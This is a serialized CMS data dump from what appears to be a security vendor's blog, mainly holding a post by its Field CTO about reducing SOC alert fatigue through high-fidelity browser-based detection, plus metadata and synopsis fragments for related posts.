itself.","2025-01-16T00:00:00.000Z","enforce-mfa-on-third-party-apps",{"items":28562},[28563,28565],{"sys":28564,"name":297},{"id":11028},{"sys":28566,"name":342},{"id":2666},{"items":28568},[28569],{"fullName":11082,"firstName":11083,"jobTitle":11084,"profilePicture":28570},{"url":11086},{"__typename":1802,"sys":28572,"content":28574,"title":29059,"synopsis":29060,"hashTags":59,"publishedDate":29061,"slug":29062,"tagsCollection":29063,"authorsCollection":29069},{"id":28573},"6jYmU1ROpwI41mmzk7ioKd",{"json":28575},{"data":28576,"content":28577,"nodeType":1663},{},[28578,28585,28592,28595,28602,28636,28648,28673,28680,28683,28690,28697,28704,28710,28717,28747,28753,28760,28780,28786,28793,28799,28802,28809,28845,28852,28895,28902,28908,28915,28922,28925,28932,28939,28946,28966,28972,28979,28986,28993,28999,29006,29012,29015,29021,29028,29035],{"data":28579,"content":28580,"nodeType":866},{},[28581],{"data":28582,"marks":28583,"value":28584,"nodeType":865},{},[],"After more than two decades in cybersecurity, I’ve witnessed the evolution (and at times, devolution) of detection and response capabilities. I’ve sat in countless SOCs watching analysts drown in a sea of alerts, spent hours chasing false positives, and seen talented security professionals burn out from the relentless noise of low-fidelity detection systems. ",{"data":28586,"content":28587,"nodeType":866},{},[28588],{"data":28589,"marks":28590,"value":28591,"nodeType":865},{},[],"It’s a problem that’s reached crisis proportions, and it’s exactly why our approach to browser security represents not just a technological shift, but a philosophical one.",{"data":28593,"content":28594,"nodeType":944},{},[],{"data":28596,"content":28597,"nodeType":953},{},[28598],{"data":28599,"marks":28600,"value":28601,"nodeType":865},{},[],"The alert fatigue epidemic",{"data":28603,"content":28604,"nodeType":866},{},[28605,28609,28614,28618,28623,28627,28632],{"data":28606,"marks":28607,"value":28608,"nodeType":865},{},[],"Early in my career, getting ",{"data":28610,"marks":28611,"value":28613,"nodeType":865},{},[28612],{"type":965},"any",{"data":28615,"marks":28616,"value":28617,"nodeType":865},{},[]," alert felt like a victory. We were flying blind outside of our small windows of network traffic. But as the industry matured, something troubling happened: we began equating ",{"data":28619,"marks":28620,"value":28622,"nodeType":865},{},[28621],{"type":935},"volume",{"data":28624,"marks":28625,"value":28626,"nodeType":865},{},[]," with ",{"data":28628,"marks":28629,"value":28631,"nodeType":865},{},[28630],{"type":935},"value",{"data":28633,"marks":28634,"value":28635,"nodeType":865},{},[],". Vendors started competing on how many alerts they could generate, how much data they could collect, and how comprehensive their “visibility” could be. ",{"data":28637,"content":28638,"nodeType":866},{},[28639,28643],{"data":28640,"marks":28641,"value":28642,"nodeType":865},{},[],"Security teams followed suit with operational metrics that captured how many alerts they’d resolved, how many “attacks” they’d stopped, and how many tickets they’d opened and closed in a given work cycle. But as many teams have now realized, ",{"data":28644,"marks":28645,"value":28647,"nodeType":865},{},[28646],{"type":935},"volume is a vanity metric; fidelity is what keeps you safe.",{"data":28649,"content":28650,"nodeType":866},{},[28651,28655,28664,28668],{"data":28652,"marks":28653,"value":28654,"nodeType":865},{},[],"In my course on ",{"data":28656,"content":28658,"nodeType":889},{"uri":28657},"https://www.sans.org/cyber-security-courses/building-leading-security-operations-centers",[28659],{"data":28660,"marks":28661,"value":28663,"nodeType":865},{},[28662],{"type":1191},"Building and Leading Security Operations teams",{"data":28665,"marks":28666,"value":28667,"nodeType":865},{},[],", we discuss the importance of analytic outcomes and addressing ineffective alerts to continuously improve fidelity. My students often find it hard to believe how much time and effort it takes to audit alert quality and implement continuous improvements on a large scale. This isn’t just an operational problem — it’s an existential threat to effective security. ",{"data":28669,"marks":28670,"value":28672,"nodeType":865},{},[28671],{"type":935},"When everything is an alert, nothing is. ",{"data":28674,"content":28675,"nodeType":866},{},[28676],{"data":28677,"marks":28678,"value":28679,"nodeType":865},{},[],"And while we have been busy focusing on more (and occasionally, better) detections at the endpoint and network layers, attackers have shifted to infrastructure that isn’t as well-instrumented: SaaS and the browser.",{"data":28681,"content":28682,"nodeType":944},{},[],{"data":28684,"content":28685,"nodeType":953},{},[28686],{"data":28687,"marks":28688,"value":28689,"nodeType":865},{},[],"The browser: a new frontier in detection and response",{"data":28691,"content":28692,"nodeType":866},{},[28693],{"data":28694,"marks":28695,"value":28696,"nodeType":865},{},[],"Today, the browser is the place where most cyber attacks happen. It’s where users interact with the applications that your business runs on, handle sensitive data, and unfortunately, where they encounter sophisticated phishing campaigns, credential harvesting attacks, and malicious downloads. ",{"data":28698,"content":28699,"nodeType":866},{},[28700],{"data":28701,"marks":28702,"value":28703,"nodeType":865},{},[],"Yet for most security teams, the browser remains a black box, obscured from the view from the network and the endpoint. Even worse, attack models often applied to detection engineering for endpoint or network-centric threats don’t really apply; modern identity attacks skip entire phases of the attack chain, eliminating many detection opportunities along the way. The modern attack path doesn’t need to touch the endpoint or your network at all — it can happen entirely over the internet. ",{"data":28705,"content":28709,"nodeType":921},{"target":28706},{"sys":28707},{"id":28708,"type":918,"linkType":919},"4wYYgbKmmVAZTF7niXJEGc",[],{"data":28711,"content":28712,"nodeType":1229},{},[28713],{"data":28714,"marks":28715,"value":28716,"nodeType":865},{},[],"Attackers are exploiting the detection gap",{"data":28718,"content":28719,"nodeType":866},{},[28720,28724,28731,28735,28743],{"data":28721,"marks":28722,"value":28723,"nodeType":865},{},[],"You only need to look at in-the-wild breaches such as last year’s ",{"data":28725,"content":28726,"nodeType":889},{"uri":28006},[28727],{"data":28728,"marks":28729,"value":26333,"nodeType":865},{},[28730],{"type":1191},{"data":28732,"marks":28733,"value":28734,"nodeType":865},{},[]," attacks, or the recent ",{"data":28736,"content":28737,"nodeType":889},{"uri":10122},[28738],{"data":28739,"marks":28740,"value":28742,"nodeType":865},{},[28741],{"type":1191},"Salesforce",{"data":28744,"marks":28745,"value":28746,"nodeType":865},{},[]," breaches to see the impact that attackers can have by executing attacks entirely over the internet, without touching traditional network devices or user endpoints. ",{"data":28748,"content":28752,"nodeType":921},{"target":28749},{"sys":28750},{"id":28751,"type":918,"linkType":919},"VfTps3SGKJDlhFcmh42d9",[],{"data":28754,"content":28755,"nodeType":866},{},[28756],{"data":28757,"marks":28758,"value":28759,"nodeType":865},{},[],"But even in the context of more “conventional” attacks (e.g. the classic route of compromising an endpoint, moving laterally through an environment, taking control of a domain, and deploying ransomware), most of the time, these attacks begin in the browser with identities and cloud apps rather than exploit-driven initial access — such as with the recent attacks on Marks & Spencer, Co-op, and Jaguar Land Rover. ",{"data":28761,"content":28762,"nodeType":866},{},[28763,28767,28776],{"data":28764,"marks":28765,"value":28766,"nodeType":865},{},[],"While the ",{"data":28768,"content":28770,"nodeType":889},{"uri":28769},"https://cloud.google.com/security/resources/insights/targeted-attack-lifecycle",[28771],{"data":28772,"marks":28773,"value":28775,"nodeType":865},{},[28774],{"type":1191},"attack cycle",{"data":28777,"marks":28778,"value":28779,"nodeType":865},{},[]," and similar mental models are valuable for planning in-depth detections of sophisticated, multi-stage attacks, focusing too heavily on them can lead to overlooked scenarios. These high-profile incidents have demonstrated the opportunity cost of neglecting visibility into attacks that don't perfectly align with these models. ",{"data":28781,"content":28785,"nodeType":921},{"target":28782},{"sys":28783},{"id":28784,"type":918,"linkType":919},"3TsKtoWuxQMFl1xd3w1j86",[],{"data":28787,"content":28788,"nodeType":866},{},[28789],{"data":28790,"marks":28791,"value":28792,"nodeType":865},{},[],"Just as endpoint detection and response revolutionized host-based security by providing visibility and control directly at the point of attack, browser-based security platforms can do the same for web-borne threats. It’s an important addition to the detection and response stack that illuminates a “missing middle” in modern attack investigations, and intervenes in real time, much like traditional EDR did for the endpoint years ago.",{"data":28794,"content":28798,"nodeType":921},{"target":28795},{"sys":28796},{"id":28797,"type":918,"linkType":919},"1eCXGC6U6SdzHmOH1gv24O",[],{"data":28800,"content":28801,"nodeType":944},{},[],{"data":28803,"content":28804,"nodeType":953},{},[28805],{"data":28806,"marks":28807,"value":28808,"nodeType":865},{},[],"High-fidelity detection: quality over quantity",{"data":28810,"content":28811,"nodeType":866},{},[28812,28816,28823,28827,28832,28836,28841],{"data":28813,"marks":28814,"value":28815,"nodeType":865},{},[],"Our ",{"data":28817,"content":28818,"nodeType":889},{"uri":13446},[28819],{"data":28820,"marks":28821,"value":28822,"nodeType":865},{},[],"design philosophy",{"data":28824,"marks":28825,"value":28826,"nodeType":865},{},[]," centers on a principle often overlooked in the security industry: prioritizing actionable problems for security teams. This involves differentiating between \"",{"data":28828,"marks":28829,"value":28831,"nodeType":865},{},[28830],{"type":935},"events",{"data":28833,"marks":28834,"value":28835,"nodeType":865},{},[],"\" – environment data that may or may not be useful – and \"",{"data":28837,"marks":28838,"value":28840,"nodeType":865},{},[28839],{"type":935},"detections",{"data":28842,"marks":28843,"value":28844,"nodeType":865},{},[],"\" – high-fidelity, actionable signals with a negligible false positive rate. We also empower our customers with the ability to intervene in real-time when there are high-confidence indicators of an attack. We focus on detecting not atomic indicators, but on attacker tooling and behaviors.",{"data":28846,"content":28847,"nodeType":866},{},[28848],{"data":28849,"marks":28850,"value":28851,"nodeType":865},{},[],"Compare this to traditional approaches that might generate alerts for:",{"data":28853,"content":28854,"nodeType":2374},{},[28855,28865,28875,28885],{"data":28856,"content":28857,"nodeType":2309},{},[28858],{"data":28859,"content":28860,"nodeType":866},{},[28861],{"data":28862,"marks":28863,"value":28864,"nodeType":865},{},[],"Visiting domains with low reputation scores (but not necessarily malicious)",{"data":28866,"content":28867,"nodeType":2309},{},[28868],{"data":28869,"content":28870,"nodeType":866},{},[28871],{"data":28872,"marks":28873,"value":28874,"nodeType":865},{},[],"Downloading files that match certain heuristics (but may be legitimate)",{"data":28876,"content":28877,"nodeType":2309},{},[28878],{"data":28879,"content":28880,"nodeType":866},{},[28881],{"data":28882,"marks":28883,"value":28884,"nodeType":865},{},[],"Accessing new web applications (that may be approved, or tacitly allowed, shadow IT)",{"data":28886,"content":28887,"nodeType":2309},{},[28888],{"data":28889,"content":28890,"nodeType":866},{},[28891],{"data":28892,"marks":28893,"value":28894,"nodeType":865},{},[],"Employee usernames, passwords, and email addresses for sale on the dark web (which may no longer be valid)",{"data":28896,"content":28897,"nodeType":866},{},[28898],{"data":28899,"marks":28900,"value":28901,"nodeType":865},{},[],"These low-fidelity alerts create work without providing solutions. They force analysts to become investigators rather than responders, spending precious time determining whether an alert represents a genuine threat rather than focusing on mitigation and recovery. ",{"data":28903,"content":28907,"nodeType":921},{"target":28904},{"sys":28905},{"id":28906,"type":918,"linkType":919},"4MydcqvHnWsziCOPUNC3YS",[],{"data":28909,"content":28910,"nodeType":866},{},[28911],{"data":28912,"marks":28913,"value":28914,"nodeType":865},{},[],"Poor quality detections also present an easy opportunity for security teams to commit a cardinal sin: disrupting users and business processes without a clear justification for doing so. User trust and support should always be treated as a finite resource, and every account locked, website blocked, and laptop reimaged chips away at that resource. ",{"data":28916,"content":28917,"nodeType":866},{},[28918],{"data":28919,"marks":28920,"value":28921,"nodeType":865},{},[],"Likewise, the more disruptive, the more likely users will look for ways around said controls. If your users are actively working against you, and feel you are preventing them from doing their jobs, they’ll always find new and unexpected ways around security blocks. ",{"data":28923,"content":28924,"nodeType":944},{},[],{"data":28926,"content":28927,"nodeType":953},{},[28928],{"data":28929,"marks":28930,"value":28931,"nodeType":865},{},[],"The SOC analyst's perspective",{"data":28933,"content":28934,"nodeType":866},{},[28935],{"data":28936,"marks":28937,"value":28938,"nodeType":865},{},[],"The most successful SOC analysts share a common trait: they’re extraordinarily good at quickly distinguishing signal from noise. But this skill shouldn’t be required! It’s a failure of our detection systems that we’re forcing human analysts to perform pattern matching that our technology should handle. ",{"data":28940,"content":28941,"nodeType":866},{},[28942],{"data":28943,"marks":28944,"value":28945,"nodeType":865},{},[],"But even for the most skilled analyst, it’s a tall order to ask your security team to also be experts in every cloud app your business relies on, making it even harder than normal to build context-driven alerts. Most of the time, the information required simply doesn't exist, with logs simply not available (generally, or at your product tier) or the work required to extract the logs and turn them into context-driven alerts hasn’t happened yet. If your team is under-resourced and drowning in low-fidelity alerts already, then realistically it might never happen. ",{"data":28947,"content":28948,"nodeType":866},{},[28949,28953,28962],{"data":28950,"marks":28951,"value":28952,"nodeType":865},{},[],"Effective browser security changes this dynamic. Instead of presenting analysts with hundreds of “suspicious web activity” alerts that require investigation, ",{"data":28954,"content":28956,"nodeType":889},{"uri":28955},"https://pushsecurity.com/blog/detecting-and-blocking-phishing-attacks-in-the-browser/",[28957],{"data":28958,"marks":28959,"value":28961,"nodeType":865},{},[28960],{"type":1191},"our platform focuses on high-reliability indicators",{"data":28963,"marks":28964,"value":28965,"nodeType":865},{},[]," like whether a phishing kit was observed running on the page, or whether the page was cloned from a legitimate site. We even detect user behaviors that could indicate a risk in the context of a phishing attack, like when a user attempts to authenticate with credentials that have been previously used on another page — either a sign of credential reuse (bad) or a phishing attack (even worse) — at which point Push can be set to block the attack in real time. ",{"data":28967,"content":28971,"nodeType":921},{"target":28968},{"sys":28969},{"id":28970,"type":918,"linkType":919},"3998Iy2kp9MW0HFeqmo900",[],{"data":28973,"content":28974,"nodeType":1229},{},[28975],{"data":28976,"marks":28977,"value":28978,"nodeType":865},{},[],"Browser security provides a new layer of protection, reducing the risk of breach",{"data":28980,"content":28981,"nodeType":866},{},[28982],{"data":28983,"marks":28984,"value":28985,"nodeType":865},{},[],"Attack detection has always been a cat-and-mouse game. For years, attackers have grappled with endpoint and network security vendors. And sometimes, the attackers win. The fact is that a lot of attacker innovation has gone into sandbox aware malware, breaking detection signatures, disabling security tools, and so on.    ",{"data":28987,"content":28988,"nodeType":866},{},[28989],{"data":28990,"marks":28991,"value":28992,"nodeType":865},{},[],"But with so many attacks now passing through the browser, defending it enables badness to be filtered out before it reaches the endpoint or network controls that attackers are looking to consciously evade. By preventing malware being delivered, or identities from being compromised, attacks otherwise crafted to evade traditional security controls can be intercepted early — making the crucial difference in whether a breach happens or not.",{"data":28994,"content":28998,"nodeType":921},{"target":28995},{"sys":28996},{"id":28997,"type":918,"linkType":919},"4Bh7uOkeguNJFmJ1XUQ317",[],{"data":29000,"content":29001,"nodeType":866},{},[29002],{"data":29003,"marks":29004,"value":29005,"nodeType":865},{},[],"And when it comes to the cloud-centric attacks that attackers are finding so much success with today, this is in effect a net new capability. ",{"data":29007,"content":29011,"nodeType":921},{"target":29008},{"sys":29009},{"id":29010,"type":918,"linkType":919},"4JdaY8I3f6Ub2Kifc9Rsj9",[],{"data":29013,"content":29014,"nodeType":944},{},[],{"data":29016,"content":29017,"nodeType":953},{},[29018],{"data":29019,"marks":29020,"value":23201,"nodeType":865},{},[],{"data":29022,"content":29023,"nodeType":866},{},[29024],{"data":29025,"marks":29026,"value":29027,"nodeType":865},{},[],"The browser represents one of the most significant opportunities in cybersecurity today. As we continue to expand our browser-based security capabilities, we remain committed to this high-fidelity approach. We’re building features that not only detect and prevent attacks but also provide security teams with the rich telemetry they need to develop custom queries and detections.",{"data":29029,"content":29030,"nodeType":866},{},[29031],{"data":29032,"marks":29033,"value":29034,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against techniques like AiTM phishing, credential stuffing, ClickFixing, malicious browser extensions, and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":29036,"content":29037,"nodeType":866},{},[29038,29041,29047,29050,29056],{"data":29039,"marks":29040,"value":9255,"nodeType":865},{},[],{"data":29042,"content":29043,"nodeType":889},{"uri":3192},[29044],{"data":29045,"marks":29046,"value":3198,"nodeType":865},{},[],{"data":29048,"marks":29049,"value":19268,"nodeType":865},{},[],{"data":29051,"content":29052,"nodeType":889},{"uri":2644},[29053],{"data":29054,"marks":29055,"value":3223,"nodeType":865},{},[],{"data":29057,"marks":29058,"value":1066,"nodeType":865},{},[],"Fixing SecOps alert fatigue with browser telemetry","How browser data can improve detection fidelity and reduce alert fatigue, enabling SecOps teams to save time and detect more attacks.","2025-10-07T00:00:00.000Z","fixing-secops-alert-fatigue-with-browser-telemetry",{"items":29064},[29065,29067],{"sys":29066,"name":342},{"id":2666},{"sys":29068,"name":2663},{"id":2662},{"items":29070},[29071],{"fullName":29072,"firstName":29073,"jobTitle":29074,"profilePicture":29075},"Mark Orlando","Mark","Field CTO",{"url":29076},"https://images.ctfassets.net/y1cdw1ablpvd/592PMwIQQFaa24k5SKBEKF/a33090d0ad95d1e3081f5d16a46ba826/image__68_.png","blog/introducing-malicious-copy-paste-detection","Detect ClickFix-style attacks where users copy malicious scripts from their browser.",{"json":29080},{"data":29081,"content":29082,"nodeType":1663},{},[29083],{"data":29084,"content":29085,"nodeType":866},{},[29086],{"data":29087,"marks":29088,"value":29089,"nodeType":865},{},[],"ClickFix, FileFix, fake CAPTCHA — whatever you call it, users interacting with malicious scripts in their web browser is a fast-growing source of security breaches. To tackle this threat, Push now detects malware delivery in the browser, supporting a layered defense against endpoint attacks. ",{"id":20264,"publishedAt":29091},"2026-08-12T11:53:43.034Z",{"items":29093},[29094,29096],{"sys":29095,"name":342},{"id":2666},{"sys":29097,"name":2663},{"id":2662},{"items":29099},[29100,29102,29104,29106,29108,29110,29112,29114,29116,29118,29120,29122,29124,29126],{"sys":29101,"name":279,"slug":280,"tier":31},{"id":276},{"sys":29103,"name":342,"slug":343,"tier":31},{"id":339},{"sys":29105,"name":297,"slug":298,"tier":31},{"id":294},{"sys":29107,"name":519,"slug":520,"tier":31},{"id":516},{"sys":29109,"name":642,"slug":643,"tier":31},{"id":639},{"sys":29111,"name":315,"slug":316,"tier":45},{"id":312},{"sys":29113,"name":448,"slug":449,"tier":45},{"id":445},{"sys":29115,"name":377,"slug":378,"tier":45},{"id":374},{"sys":29117,"name":607,"slug":608,"tier":45},{"id":604},{"sys":29119,"name":475,"slug":476,"tier":45},{"id":472},{"sys":29121,"name":440,"slug":441,"tier":45},{"id":437},{"sys":29123,"name":422,"slug":423,"tier":45},{"id":419},{"sys":29125,"name":537,"slug":538,"tier":45},{"id":534},{"sys":29127,"name":351,"slug":352,"tier":45},{"id":348},"WhJoIJQgr5uOa_CBJjozZ6Xe_GSP57ObHYXigZLLKo0",{"id":29130,"title":26907,"authorsCollection":29131,"content":29136,"extension":228,"faqItemsCollection":29744,"faqTitle":59,"featured":6,"hashTags":59,"meta":29746,"metaTitle":29747,"ogImage":29748,"postType":6287,"publishedDate":26909,"relatedBlogPostsCollection":29750,"slug":26910,"stem":32157,"subtitle":59,"summary":32158,"synopsis":26908,"sys":32169,"tagsCollection":32171,"topicsCollection":32177,"__hash__":32225},"blog/blog/6-browser-based-attacks-every-security-team-should-be-prepared-for.json",{"items":29132},[29133],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":29134,"profilePicture":29135},[14260],{"url":2674},{"json":29137,"links":29689},{"data":29138,"content":29139,"nodeType":1663},{},[29140,29153,29159,29162,29169,29175,29181,29197,29202,29208,29214,29220,29226,29229,29236,29242,29247,29253,29260,29266,29272,29277,29293,29298,29304,29310,29316,29321,29324,29331,29347,29353,29379,29385,29391,29396,29402,29408,29414,29417,29424,29439,29444,29450,29456,29461,29467,29473,29476,29483,29489,29505,29541,29547,29553,29559,29562,29569,29575,29581,29587,29590,29597,29603,29629,29645,29651,29654,29661,29667,29673],{"data":29141,"content":29142,"nodeType":866},{},[29143,29146,29150],{"data":29144,"marks":29145,"value":26276,"nodeType":865},{},[],{"data":29147,"marks":29148,"value":26281,"nodeType":865},{},[29149],{"type":965},{"data":29151,"marks":29152,"value":26285,"nodeType":865},{},[],{"data":29154,"content":29155,"nodeType":866},{},[29156],{"data":29157,"marks":29158,"value":26292,"nodeType":865},{},[],{"data":29160,"content":29161,"nodeType":944},{},[],{"data":29163,"content":29164,"nodeType":953},{},[29165],{"data":29166,"marks":29167,"value":26303,"nodeType":865},{},[29168],{"type":935},{"data":29170,"content":29171,"nodeType":866},{},[29172],{"data":29173,"marks":29174,"value":26310,"nodeType":865},{},[],{"data":29176,"content":29177,"nodeType":866},{},[29178],{"data":29179,"marks":29180,"value":26317,"nodeType":865},{},[],{"data":29182,"content":29183,"nodeType":866},{},[29184,29187,29194],{"data":29185,"marks":29186,"value":26324,"nodeType":865},{},[],{"data":29188,"content":29189,"nodeType":889},{"uri":26327},[29190],{"data":29191,"marks":29192,"value":26333,"nodeType":865},{},[29193],{"type":1191},{"data":29195,"marks":29196,"value":26337,"nodeType":865},{},[],{"data":29198,"content":29201,"nodeType":921},{"target":29199},{"sys":29200},{"id":26342,"type":918,"linkType":919},[],{"data":29203,"content":29204,"nodeType":866},{},[29205],{"data":29206,"marks":29207,"value":26350,"nodeType":865},{},[],{"data":29209,"content":29210,"nodeType":866},{},[29211],{"data":29212,"marks":29213,"value":26357,"nodeType":865},{},[],{"data":29215,"content":29216,"nodeType":866},{},[29217],{"data":29218,"marks":29219,"value":26364,"nodeType":865},{},[],{"data":29221,"content":29222,"nodeType":866},{},[29223],{"data":29224,"marks":29225,"value":26371,"nodeType":865},{},[],{"data":29227,"content":29228,"nodeType":944},{},[],{"data":29230,"content":29231,"nodeType":953},{},[29232],{"data":29233,"marks":29234,"value":26382,"nodeType":865},{},[29235],{"type":935},{"data":29237,"content":29238,"nodeType":866},{},[29239],{"data":29240,"marks":29241,"value":26389,"nodeType":865},{},[],{"data":29243,"content":29246,"nodeType":921},{"target":29244},{"sys":29245},{"id":26394,"type":918,"linkType":919},[],{"data":29248,"content":29249,"nodeType":866},{},[29250],{"data":29251,"marks":29252,"value":26402,"nodeType":865},{},[],{"data":29254,"content":29255,"nodeType":1229},{},[29256],{"data":29257,"marks":29258,"value":26410,"nodeType":865},{},[29259],{"type":935},{"data":29261,"content":29262,"nodeType":866},{},[29263],{"data":29264,"marks":29265,"value":26417,"nodeType":865},{},[],{"data":29267,"content":29268,"nodeType":866},{},[29269],{"data":29270,"marks":29271,"value":26424,"nodeType":865},{},[],{"data":29273,"content":29276,"nodeType":921},{"target":29274},{"sys":29275},{"id":26429,"type":918,"linkType":919},[],{"data":29278,"content":29279,"nodeType":866},{},[29280,29283,29290],{"data":29281,"marks":29282,"value":26437,"nodeType":865},{},[],{"data":29284,"content":29285,"nodeType":889},{"uri":26440},[29286],{"data":29287,"marks":29288,"value":26446,"nodeType":865},{},[29289],{"type":1191},{"data":29291,"marks":29292,"value":17620,"nodeType":865},{},[],{"data":29294,"content":29297,"nodeType":921},{"target":29295},{"sys":29296},{"id":26454,"type":918,"linkType":919},[],{"data":29299,"content":29300,"nodeType":866},{},[29301],{"data":29302,"marks":29303,"value":26462,"nodeType":865},{},[],{"data":29305,"content":29306,"nodeType":866},{},[29307],{"data":29308,"marks":29309,"value":24158,"nodeType":865},{},[],{"data":29311,"content":29312,"nodeType":866},{},[29313],{"data":29314,"marks":29315,"value":26475,"nodeType":865},{},[],{"data":29317,"content":29320,"nodeType":921},{"target":29318},{"sys":29319},{"id":25307,"type":918,"linkType":919},[],{"data":29322,"content":29323,"nodeType":944},{},[],{"data":29325,"content":29326,"nodeType":1229},{},[29327],{"data":29328,"marks":29329,"value":26491,"nodeType":865},{},[29330],{"type":935},{"data":29332,"content":29333,"nodeType":866},{},[29334,29337,29344],{"data":29335,"marks":29336,"value":23887,"nodeType":865},{},[],{"data":29338,"content":29339,"nodeType":889},{"uri":23890},[29340],{"data":29341,"marks":29342,"value":315,"nodeType":865},{},[29343],{"type":1191},{"data":29345,"marks":29346,"value":3017,"nodeType":865},{},[],{"data":29348,"content":29349,"nodeType":866},{},[29350],{"data":29351,"marks":29352,"value":26514,"nodeType":865},{},[],{"data":29354,"content":29355,"nodeType":866},{},[29356,29359,29366,29369,29376],{"data":29357,"marks":29358,"value":26521,"nodeType":865},{},[],{"data":29360,"content":29361,"nodeType":889},{"uri":24051},[29362],{"data":29363,"marks":29364,"value":24057,"nodeType":865},{},[29365],{"type":1191},{"data":29367,"marks":29368,"value":26532,"nodeType":865},{},[],{"data":29370,"content":29371,"nodeType":889},{"uri":26535},[29372],{"data":29373,"marks":29374,"value":26541,"nodeType":865},{},[29375],{"type":1191},{"data":29377,"marks":29378,"value":1066,"nodeType":865},{},[],{"data":29380,"content":29381,"nodeType":866},{},[29382],{"data":29383,"marks":29384,"value":26551,"nodeType":865},{},[],{"data":29386,"content":29387,"nodeType":866},{},[29388],{"data":29389,"marks":29390,"value":26558,"nodeType":865},{},[],{"data":29392,"content":29395,"nodeType":921},{"target":29393},{"sys":29394},{"id":26563,"type":918,"linkType":919},[],{"data":29397,"content":29398,"nodeType":866},{},[29399],{"data":29400,"marks":29401,"value":26571,"nodeType":865},{},[],{"data":29403,"content":29404,"nodeType":866},{},[29405],{"data":29406,"marks":29407,"value":26578,"nodeType":865},{},[],{"data":29409,"content":29410,"nodeType":866},{},[29411],{"data":29412,"marks":29413,"value":26585,"nodeType":865},{},[],{"data":29415,"content":29416,"nodeType":944},{},[],{"data":29418,"content":29419,"nodeType":1229},{},[29420],{"data":29421,"marks":29422,"value":26596,"nodeType":865},{},[29423],{"type":935},{"data":29425,"content":29426,"nodeType":866},{},[29427,29430,29436],{"data":29428,"marks":29429,"value":26603,"nodeType":865},{},[],{"data":29431,"content":29432,"nodeType":889},{"uri":22601},[29433],{"data":29434,"marks":29435,"value":22607,"nodeType":865},{},[],{"data":29437,"marks":29438,"value":4835,"nodeType":865},{},[],{"data":29440,"content":29443,"nodeType":921},{"target":29441},{"sys":29442},{"id":26617,"type":918,"linkType":919},[],{"data":29445,"content":29446,"nodeType":866},{},[29447],{"data":29448,"marks":29449,"value":26625,"nodeType":865},{},[],{"data":29451,"content":29452,"nodeType":866},{},[29453],{"data":29454,"marks":29455,"value":26632,"nodeType":865},{},[],{"data":29457,"content":29460,"nodeType":921},{"target":29458},{"sys":29459},{"id":26637,"type":918,"linkType":919},[],{"data":29462,"content":29463,"nodeType":866},{},[29464],{"data":29465,"marks":29466,"value":26645,"nodeType":865},{},[],{"data":29468,"content":29469,"nodeType":866},{},[29470],{"data":29471,"marks":29472,"value":26652,"nodeType":865},{},[],{"data":29474,"content":29475,"nodeType":944},{},[],{"data":29477,"content":29478,"nodeType":1229},{},[29479],{"data":29480,"marks":29481,"value":26663,"nodeType":865},{},[29482],{"type":935},{"data":29484,"content":29485,"nodeType":866},{},[29486],{"data":29487,"marks":29488,"value":26670,"nodeType":865},{},[],{"data":29490,"content":29491,"nodeType":866},{},[29492,29495,29502],{"data":29493,"marks":29494,"value":26677,"nodeType":865},{},[],{"data":29496,"content":29497,"nodeType":889},{"uri":26680},[29498],{"data":29499,"marks":29500,"value":26686,"nodeType":865},{},[29501],{"type":1191},{"data":29503,"marks":29504,"value":26690,"nodeType":865},{},[],{"data":29506,"content":29507,"nodeType":866},{},[29508,29511,29518,29521,29528,29531,29538],{"data":29509,"marks":29510,"value":26697,"nodeType":865},{},[],{"data":29512,"content":29513,"nodeType":889},{"uri":26700},[29514],{"data":29515,"marks":29516,"value":26706,"nodeType":865},{},[29517],{"type":1191},{"data":29519,"marks":29520,"value":26710,"nodeType":865},{},[],{"data":29522,"content":29523,"nodeType":889},{"uri":26713},[29524],{"data":29525,"marks":29526,"value":26719,"nodeType":865},{},[29527],{"type":1191},{"data":29529,"marks":29530,"value":6593,"nodeType":865},{},[],{"data":29532,"content":29533,"nodeType":889},{"uri":26725},[29534],{"data":29535,"marks":29536,"value":26731,"nodeType":865},{},[29537],{"type":1191},{"data":29539,"marks":29540,"value":1066,"nodeType":865},{},[],{"data":29542,"content":29543,"nodeType":866},{},[29544],{"data":29545,"marks":29546,"value":26741,"nodeType":865},{},[],{"data":29548,"content":29549,"nodeType":866},{},[29550],{"data":29551,"marks":29552,"value":26748,"nodeType":865},{},[],{"data":29554,"content":29555,"nodeType":866},{},[29556],{"data":29557,"marks":29558,"value":26755,"nodeType":865},{},[],{"data":29560,"content":29561,"nodeType":944},{},[],{"data":29563,"content":29564,"nodeType":1229},{},[29565],{"data":29566,"marks":29567,"value":26766,"nodeType":865},{},[29568],{"type":935},{"data":29570,"content":29571,"nodeType":866},{},[29572],{"data":29573,"marks":29574,"value":26773,"nodeType":865},{},[],{"data":29576,"content":29577,"nodeType":866},{},[29578],{"data":29579,"marks":29580,"value":26780,"nodeType":865},{},[],{"data":29582,"content":29583,"nodeType":866},{},[29584],{"data":29585,"marks":29586,"value":26787,"nodeType":865},{},[],{"data":29588,"content":29589,"nodeType":944},{},[],{"data":29591,"content":29592,"nodeType":1229},{},[29593],{"data":29594,"marks":29595,"value":26798,"nodeType":865},{},[29596],{"type":935},{"data":29598,"content":29599,"nodeType":866},{},[29600],{"data":29601,"marks":29602,"value":26805,"nodeType":865},{},[],{"data":29604,"content":29605,"nodeType":866},{},[29606,29609,29616,29619,29626],{"data":29607,"marks":29608,"value":26812,"nodeType":865},{},[],{"data":29610,"content":29611,"nodeType":889},{"uri":26327},[29612],{"data":29613,"marks":29614,"value":26333,"nodeType":865},{},[29615],{"type":1191},{"data":29617,"marks":29618,"value":26823,"nodeType":865},{},[],{"data":29620,"content":29621,"nodeType":889},{"uri":26826},[29622],{"data":29623,"marks":29624,"value":26832,"nodeType":865},{},[29625],{"type":1191},{"data":29627,"marks":29628,"value":26836,"nodeType":865},{},[],{"data":29630,"content":29631,"nodeType":866},{},[29632,29635,29642],{"data":29633,"marks":29634,"value":26843,"nodeType":865},{},[],{"data":29636,"content":29637,"nodeType":889},{"uri":26846},[29638],{"data":29639,"marks":29640,"value":26852,"nodeType":865},{},[29641],{"type":1191},{"data":29643,"marks":29644,"value":26856,"nodeType":865},{},[],{"data":29646,"content":29647,"nodeType":866},{},[29648],{"data":29649,"marks":29650,"value":26863,"nodeType":865},{},[],{"data":29652,"content":29653,"nodeType":944},{},[],{"data":29655,"content":29656,"nodeType":953},{},[29657],{"data":29658,"